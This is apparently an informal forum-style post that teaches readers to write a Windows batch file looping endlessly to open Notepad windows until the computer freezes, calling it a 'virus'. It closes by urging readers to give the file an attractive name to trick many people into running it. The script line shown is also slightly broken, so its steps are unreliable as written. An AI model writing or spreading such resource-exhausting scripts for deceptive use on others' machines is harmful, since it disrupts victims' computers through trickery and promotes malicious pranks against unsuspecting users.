Using notepad,u can even create a trojan virus... But now I'm going to teach one of these virus-NOTEPAD MULTIPLIER
Just do the following steps in your PC
Open notepad..
Type
'@echo off
:start
open notepad
goto start'
(no inverted commas)
save it as notepad multiplier.bat
and you're done. Open it and you'll see a thousand notepads,and will go on opening until ur computer gets freezed. Do name it attractively to catch many people ;)